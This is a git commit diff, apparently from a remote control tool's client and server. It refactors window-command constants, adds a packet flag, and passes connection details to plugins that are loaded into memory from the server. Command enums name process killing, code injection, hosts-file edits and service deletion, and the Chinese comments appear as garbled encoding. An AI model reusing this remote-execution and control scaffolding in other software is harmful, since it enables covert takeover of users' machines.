fix: Passing CONNECT_ADDRESS pointer to plugins

This commit is contained in:
yuanyuanxiang
2025-06-07 04:42:29 +08:00
parent 7e7db73358
commit 15e03bd18a
5 changed files with 86 additions and 20 deletions

View File

@@ -202,7 +202,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (ulLength <= sz)break;
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit);
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL));
Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size);
}

View File

@@ -16,11 +16,6 @@
#pragma comment(lib,"psapi.lib")
enum
{
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -195,7 +190,7 @@ VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
case CMD_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
TestWindow(szBuffer+1);
break;

View File

@@ -163,6 +163,7 @@ enum
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
@@ -284,6 +285,72 @@ enum DecryptCommand {
typedef DecryptCommand BroType;
// <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD>
#define CMD_WINDOW_CLOSE 0 // <20>رմ<D8B1><D5B4><EFBFBD>
#define CMD_WINDOW_TEST 1 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// MachineManager ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>, ǰ<><C7B0><EFBFBD><EFBFBD>ö<EFBFBD><C3B6>ֵ˳<D6B5>򲻵<EFBFBD><F2B2BBB5>޸<EFBFBD>
enum MachineManager {
COMMAND_MACHINE_PROCESS,
COMMAND_MACHINE_WINDOWS,
COMMAND_MACHINE_NETSTATE,
COMMAND_MACHINE_SOFTWARE,
COMMAND_MACHINE_HTML,
COMMAND_MACHINE_FAVORITES,
COMMAND_MACHINE_WIN32SERVICE,
COMMAND_MACHINE_DRIVERSERVICE,
COMMAND_MACHINE_TASK,
COMMAND_MACHINE_HOSTS, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_APPUNINSTALL,//ж<><D0B6>
COMMAND_WINDOW_OPERATE,//<2F><><EFBFBD>ڿ<EFBFBD><DABF><EFBFBD>
COMMAND_WINDOW_CLOSE,//<2F>ر<EFBFBD>
COMMAND_PROCESS_KILL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_PROCESS_KILLDEL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----ɾ<><C9BE>
COMMAND_PROCESS_DEL,//ǿ<><C7BF>ɾ<EFBFBD><C9BE> <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_PROCESS_FREEZING,//<2F><><EFBFBD><EFBFBD>
COMMAND_PROCESS_THAW,//<2F>
COMMAND_HOSTS_SET,//hosts
COMMAND_SERVICE_LIST_WIN32,
COMMAND_SERVICE_LIST_DRIVER,
COMMAND_DELETESERVERICE,
COMMAND_STARTSERVERICE,
COMMAND_STOPSERVERICE,
COMMAND_PAUSESERVERICE,
COMMAND_CONTINUESERVERICE,
COMMAND_TASKCREAT,
COMMAND_TASKDEL,
COMMAND_TASKSTOP,
COMMAND_TASKSTART,
COMMAND_INJECT,
TOKEN_MACHINE_PROCESS,
TOKEN_MACHINE_WINDOWS,
TOKEN_MACHINE_NETSTATE,
TOKEN_MACHINE_SOFTWARE,
TOKEN_MACHINE_HTML,
TOKEN_MACHINE_FAVORITES,
TOKEN_MACHINE_WIN32SERVICE,
TOKEN_MACHINE_DRIVERSERVICE,
TOKEN_MACHINE_HOSTS,
TOKEN_MACHINE_SERVICE_LIST,
TOKEN_MACHINE_TASKLIST,
TOKEN_MACHINE_MSG,
};
struct WINDOWSINFO {
char strTitle[1024];
DWORD m_poceessid;
DWORD m_hwnd;
bool canlook;
int w;
int h;
};
enum
{
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
@@ -387,7 +454,8 @@ public:
char szBuildDate[12];
int iMultiOpen;
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
char szReserved[130]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD>
int iHeaderEnc; // <EFBFBD><EFBFBD><EFBFBD>ݼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char szReserved[126]; // ռλ<D5BC><CEBB>ʹ<EFBFBD><EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
public:
void SetType(int typ) {
@@ -471,7 +539,7 @@ struct PluginParam {
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
int Port; // <20><><EFBFBD>ض˿<D8B6>
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
void* User; // <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void* User; // CONNECT_ADDRESS* ָ<EFBFBD><EFBFBD>
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
strcpy_s(IP, ip);
}

View File

@@ -124,7 +124,7 @@ protected:
return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
}
// More version may be added in the future.
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?";
const char version0[] = "Shine", version1[] = "<<FUCK>>", version2[] = "Hello?", version3[] = "HELL";
if (memcmp(version0, szPacketFlag, sizeof(version0) - 1) == 0) {
memcpy(m_szPacketFlag, version0, sizeof(version0) - 1);
m_nCompareLen = strlen(m_szPacketFlag);
@@ -150,6 +150,14 @@ protected:
compressMethod = COMPRESS_NONE;
m_Encoder = new Encoder();
}
else if (memcmp(version3, szPacketFlag, sizeof(version3) - 1) == 0) {
memcpy(m_szPacketFlag, version3, sizeof(version3) - 1);
m_nCompareLen = strlen(m_szPacketFlag);
m_nFlagLen = 8;
m_nHeaderLen = m_nFlagLen + 8;
m_bParsed = TRUE;
m_Encoder = new Encoder();
}
else {
return PR{ PARSER_FAILED };
}

View File

@@ -18,11 +18,6 @@ typedef struct ItemData
}
}ItemData;
enum
{
COMMAND_WINDOW_CLOSE, //<2F>رմ<D8B1><D5B4><EFBFBD>
COMMAND_WINDOW_TEST, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
};
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
CSystemDlg::CSystemDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
@@ -370,7 +365,7 @@ void CSystemDlg::OnWlistClose()
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_CLOSE; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>ͷ
lpMsgBuf[0]=CMD_WINDOW_CLOSE; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD>ͷ
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD> 4 djfkdfj dkfjf 4
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
@@ -390,7 +385,7 @@ void CSystemDlg::OnWlistHide()
if (nItem>=0)
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
lpMsgBuf[0]=CMD_WINDOW_TEST; //<2F><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID; //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); //ע<><D7A2><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>б<EFBFBD><D0B1>е<EFBFBD><D0B5><EFBFBD>ʾ״̬Ϊ"<22><><EFBFBD><EFBFBD>"
@@ -413,7 +408,7 @@ void CSystemDlg::OnWlistRecover()
if (nItem>=0)
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
lpMsgBuf[0]=CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
@@ -435,7 +430,7 @@ void CSystemDlg::OnWlistMax()
if (nItem>=0)
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
lpMsgBuf[0]=CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");
@@ -457,7 +452,7 @@ void CSystemDlg::OnWlistMin()
if (nItem>=0)
{
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=COMMAND_WINDOW_TEST;
lpMsgBuf[0]=CMD_WINDOW_TEST;
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"<EFBFBD><EFBFBD>ʾ");